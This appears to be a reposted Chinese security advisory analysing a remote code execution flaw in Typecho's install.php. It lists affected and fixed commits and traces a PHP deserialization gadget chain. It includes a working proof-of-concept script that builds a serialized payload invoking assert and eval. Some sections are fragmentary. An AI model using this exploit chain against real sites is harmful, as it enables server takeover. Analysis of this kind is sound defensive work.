您好,登錄后才能下訂單哦!
這篇文章主要介紹了typecho前臺(tái)GETSHELL分析預(yù)警的案例,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
install.php一處if`判斷里直接處理了用戶傳入的序列化字符串,以及可以在現(xiàn)有框架中尋找到一條完整的pop執(zhí)行鏈導(dǎo)致任意php命令執(zhí)行。
影響面
幾乎市面上的未及時(shí)更新的所有typecho都受到該漏洞影響。
影響版本
gitcommit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5
之前的幾乎所有版本
修復(fù)版本
gitcommite277141c974cd740702c5ce73f7e9f382c18d84e
以后的commit
0x03 修復(fù)方案
漏洞代碼
這里可以預(yù)想,應(yīng)該不會(huì)有顯然在__constract()中寫出危險(xiǎn)操作的開發(fā)吧
所以把思路轉(zhuǎn)向字符串拼接的時(shí)候
尋找下__toString()
其實(shí)只有三個(gè)class有這個(gè)__toString()
var/Typecho/Feed.php
var/Typecho/Config.php
var/Typecho/Db/Query.php
這里面大致出現(xiàn)了如下幾種調(diào)用
php
$item['xxx']
$item['xxx']->$yyyy
$this->
從這個(gè)點(diǎn)可以有些新的思考
因?yàn)槭欠葱蛄谢?,對象中的屬性也是我們可以控制的,那么現(xiàn)在去找找__get()方法
php
class Typecho_Config implements Iterator
class IXR_Client
class Typecho_Plugin
class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do
class Typecho_Date
class Typecho_Request
abstract class Typecho_Widget
class Typecho_Widget_Helper_Layout
有這么些個(gè)函數(shù)是帶有__get()方法的
有這么一處完整不經(jīng)過變化處理的
然后直接由call_user_func執(zhí)行構(gòu)造好的指定代碼
php
<?php
class Typecho_Request
{
private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;
public function __construct($x1)
{
$this->_items[] = array('author'=>$x1);
}
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));
驗(yàn)證截圖
2. 注釋掉install.php相關(guān)代碼
感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“typecho前臺(tái)GETSHELL分析預(yù)警的案例”這篇文章對大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來學(xué)習(xí)!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。